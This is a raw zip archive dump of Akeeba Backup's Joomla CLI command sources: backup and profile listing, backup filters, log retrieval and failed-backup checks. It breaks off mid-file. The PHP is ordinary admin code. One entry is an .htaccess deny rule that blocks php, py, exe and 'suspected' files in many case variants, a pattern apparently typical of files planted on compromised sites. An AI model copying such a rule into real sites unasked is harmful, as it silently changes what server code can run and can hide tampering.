				if (!in_array($format, ['json', 'yaml']))
				{
					$data = [$data];
				}
			}
		}

		switch ($format)
		{
			default:
			case 'table':
				$this->ioStyle->table($headers, $data);
				break;

			case 'json':
				$this->ioStyle->writeln(json_encode($data, JSON_PRETTY_PRINT));
				break;

			case 'yaml':
				if (!function_exists('yaml_emit'))
				{
					$line1 = Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML');
					$line2 = Text::_('COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND');

					$this->ioStyle->error(
						<<< ERROR
$line1

$line2

ERROR

					);

					return 1;
				}

				$this->ioStyle->writeln(yaml_emit($data));
				break;

			case 'csv':
				$this->ioStyle->writeln($this->toCsv($data));
				break;

			case 'count':
				$this->ioStyle->writeln(count($data));
				break;
		}

		return 0;
	}

	/**
	 * Converts an array to its CSV representation
	 *
	 * @param   array  $data       The array data to convert to CSV
	 * @param   bool   $csvHeader  Should I print a CSV header row?
	 *
	 * @return  string
	 * @since   7.5.0
	 */
	private function toCsv(array $data, bool $csvHeader = true): string
	{
		$output = '';
		$item   = array_pop($data);
		$data[] = $item;
		$keys   = array_keys($item);

		if ($csvHeader)
		{
			$csv = [];

			foreach ($keys as $k)
			{
				$k = str_replace('"', '""', $k);
				$k = str_replace("\r", '\\r', $k);
				$k = str_replace("\n", '\\n', $k);
				$k = '"' . $k . '"';

				$csv[] = $k;
			}

			$output .= implode(",", $csv) . "\r\n";
		}

		foreach ($data as $item)
		{
			$csv = [];

			foreach ($keys as $k)
			{
				$v = $item[$k];

				if (is_array($v))
				{
					$v = 'Array';
				}
				elseif (is_object($v))
				{
					$v = 'Object';
				}

				$v = str_replace('"', '""', $v);
				$v = str_replace("\r", '\\r', $v);
				$v = str_replace("\n", '\\n', $v);
				$v = '"' . $v . '"';

				$csv[] = $v;
			}

			$output .= implode(",", $csv) . "\r\n";
		}

		return $output;
	}
}
PK     \Sʉ        src/CliCommands/MixIt/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \3  3  %  src/CliCommands/MixIt/ConfigureIO.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt;

defined('_JEXEC') || die;

use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

/**
 * Set up the Symfony I/O objects
 *
 * @since   7.5.0
 */
trait ConfigureIO
{
	/**
	 * @var   SymfonyStyle
	 * @since 7.5.0
	 */
	private $ioStyle;

	/**
	 * @var   InputInterface
	 * @since 7.5.0
	 */
	private $cliInput;

	/**
	 * Configure the IO.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	private function configureSymfonyIO(InputInterface $input, OutputInterface $output)
	{
		$this->cliInput = $input;
		$this->ioStyle  = new SymfonyStyle($input, $output);
	}

}
PK     \_ɓ      src/CliCommands/BackupList.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticsModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:list
 *
 * Lists backup records known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupList extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$from    = (int) ($this->cliInput->getOption('from') ?? 0);
		$limit   = (int) ($this->cliInput->getOption('limit') ?? 0);
		$format  = (string) ($this->cliInput->getOption('format') ?? 'table');
		$filters = $this->getFilters();
		$order   = $this->getOrdering();

		if ($format === 'table')
		{
			$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD'));
		}

		/** @var StatisticsModel $model */
		$model = $this->getMVCFactory()->createModel('Statistics', 'Administrator');

		$model->setState('list.start', $from);
		$model->setState('list.limit', $limit);
		$model->setStateSetFlag();

		$output = $model->getStatisticsListWithMeta(false, $filters, $order);

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('from', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM'), 0);
		$this->addOption('limit', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT'), 50);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT'), 'table');
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION'));
		$this->addOption('after', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER'));
		$this->addOption('before', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE'));
		$this->addOption('origin', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN'));
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE'));
		$this->addOption('sort-by', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY'), 'id');
		$this->addOption('sort-order', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER'), 'desc');
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP'));
	}

	private function getFilters(): ?array
	{
		$filters = [];

		$description = $this->cliInput->getOption('description') ?? '';

		if ($description)
		{
			$filters[] = [
				'field'   => 'description',
				'operand' => 'LIKE',
				'value'   => $description,
			];
		}

		$after  = $this->cliInput->getOption('after') ?? '';
		$before = $this->cliInput->getOption('before') ?? '';

		if (!empty($after) && !empty($before))
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => 'BETWEEN',
				'value'   => $after,
				'value2'  => $before,
			];
		}
		elseif (!empty($after))
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '>=',
				'value'   => $after,
			];
		}
		elseif (!empty($before))
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '<=',
				'value'   => $before,
			];
		}

		$origin = $this->cliInput->getOption('origin') ?? '';

		if (!empty($origin))
		{
			$filters[] = [
				'field'   => 'origin',
				'operand' => '=',
				'value'   => $origin,
			];
		}

		$profile = (int) ($this->cliInput->getOption('profile') ?? 0);

		if ($profile > 0)
		{
			$filters[] = [
				'field'   => 'profile_id',
				'operand' => '=',
				'value'   => $profile,
			];
		}

		return !empty($filters) ? $filters : null;
	}

	private function getOrdering(): array
	{
		$order = strtolower($this->cliInput->getOption('sort-order') ?? 'desc');
		$order = in_array($order, ['asc', 'desc']) ?: 'desc';

		return [
			'by'    => $this->cliInput->getOption('sort-by') ?? 'id',
			'order' => $order,
		];
	}
}
PK     \_      src/CliCommands/ProfileList.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfilesModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:list
 *
 * Lists the Akeeba Backup backup profiles
 *
 * @since   7.5.0
 */
class ProfileList extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$format = (string) $this->cliInput->getOption('format') ?? 'table';

		/** @var ProfilesModel $model */
		$model = $this->getMVCFactory()->createModel('Profiles', 'Administrator');

		$model->setState('list.start', 0);
		$model->setState('list.limit', 0);
		$model->setStateSetFlag();

		$profiles = $model->getItems();

		$output = array_map(function (object $profile) {
			$profile = (array) $profile;

			return [
				'id'          => $profile['id'],
				'description' => $profile['description'],
				'quickicon'   => $profile['quickicon'],
			];
		}, $profiles);

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT'), 'table');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP'));
	}
}
PK     \2    *  src/CliCommands/FilterIncludeDirectory.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\FilterRoots;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\IsPro;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\IncludefoldersModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\RandomValue;
use Akeeba\Plugin\Console\AkeebaBackup\Helper\UUID4;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:include-directory
 *
 * Add an additional off-site directory to be backed up by Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterIncludeDirectory extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use IsPro;
	use FilterRoots;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:include-directory';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		if (!$this->isPro())
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO'));

			return 1;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		// Initialization
		$uuidObject = new UUID4(true);
		$virtual    = (string) $this->cliInput->getOption('virtual') ?? '';
		$uuid       = $uuidObject->get('-');
		$directory  = (string) $this->cliInput->getArgument('directory') ?? '';

		// Does the database definition already exist?
		/** @var IncludefoldersModel $model */
		$model      = $this->getMVCFactory()->createModel('Includefolders', 'Administrator');
		$allFilters = $model->get_directories();

		foreach ($allFilters as $root => $filterData)
		{
			if ($filterData[0] == $directory)
			{
				$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS', $directory, $root));

				return 2;
			}
		}

		// Create a new inclusion filter
		if (empty($virtual))
		{
			$randomValue  = new RandomValue();
			$randomPrefix = $randomValue->generateString(8);
			$virtual      = $randomPrefix . '-' . basename($directory);
		}

		$data = [
			0 => $directory,
			1 => $virtual,
		];

		$filterObject = Factory::getFilterObject('extradirs');
		$success      = $filterObject->set($uuid, $data);

		$filters = Factory::getFilters();

		if (!$success)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED', $directory));

			return 3;
		}

		// Save to the database
		$filters->save();

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS', $directory));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE'), 1);
		$this->addArgument('directory', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY'));
		$this->addOption('virtual', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL'), null);

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP'));
	}
}
PK     \uaS3  3    src/CliCommands/LogGet.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\LogModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:log:get
 *
 * Retrieves log files known to Akeeba Backup
 *
 * @since   7.5.0
 */
class LogGet extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:log:get';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profile_id = max(1, (int) $this->cliInput->getArgument('profile_id') ?? 1);
		$log_tag    = (string) $this->cliInput->getArgument('log_tag') ?? 1;

		define('AKEEBA_PROFILE', $profile_id);

		/** @var LogModel $model */
		$model = $this->getMVCFactory()->createModel('Log', 'Administrator');
		$model->setState('tag', $log_tag);
		$model->echoRawLog(true);

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('profile_id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID'));
		$this->addArgument('log_tag', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_LOG_GET_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_LOG_GET_HELP'));
	}
}
PK     \H緷
  
    src/CliCommands/BackupCheck.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\MemoryInfo;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\TimeInfo;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticsModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:check
 *
 * CHeck for failed backups and sends emails about them
 *
 * @since   7.5.0
 */
class BackupCheck extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MemoryInfo;
	use TimeInfo;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:check';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_HEAD_CHECK'));

		/** @var StatisticsModel $model */
		$model = $this->getMVCFactory()->createModel('Statistics', 'Administrator');
		$model->setStateSetFlag(true);

		$result = $model->notifyFailed();

		if ($result['result'])
		{
			$this->ioStyle->success($result['message']);

			return 0;
		}

		$this->ioStyle->warning($result['message']);

		return 1;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP'));
	}
}
PK     \>    !  src/CliCommands/FilterExclude.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\FilterRoots;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\IsPro;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:exclude
 *
 * Set an exclusion filter to Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterExclude extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use IsPro;
	use FilterRoots;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:exclude';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$filterType = (string) ($this->cliInput->getOption('filterType') ?? 'files');
		$target     = (in_array($filterType, [
			'tables', 'tabledata', 'regextables', 'regextabledata', 'multidb',
		])) ? 'db' : 'fs';
		$root       = (string) ($this->cliInput->getOption('root') ?? (($target == 'fs') ? '[SITEROOT]' : '[SITEDB]'));

		if (!in_array($root, $this->getRoots($target)))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT', $target, $root));

			return 1;
		}

		$filter = (string) $this->cliInput->getArgument('filter') ?? '';

		$this->ioStyle->title(Text::sprintf(
			'COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD',
			$target === 'db' ? Text::_('COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE') : Text::_('COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM'),
			$filter,
			$filterType,
			$profileId
		));

		// Delete the filter
		$filterObject = Factory::getFilterObject($filterType);

		if ((stripos($filterType, 'regex') !== false) && !$this->isPro())
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO', $filterType));

			return 1;
		}

		$success = $filterObject->set($root, $filter);

		if (!$success)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED', $filter, $filterType));

			return 2;
		}

		Factory::getFilters()->save();

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS', $filter, $filterType));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('filter', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER'));
		$this->addOption('root', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT'), '');
		$this->addOption('filterType', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE'), 'files');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE'), 1);

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP'));
	}
}
PK     \;R/      src/CliCommands/OptionsGet.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\JsonGuiDataParser;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:option:get
 *
 * Gets the value of a configuration option for an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class OptionsGet extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use JsonGuiDataParser;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:option:get';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
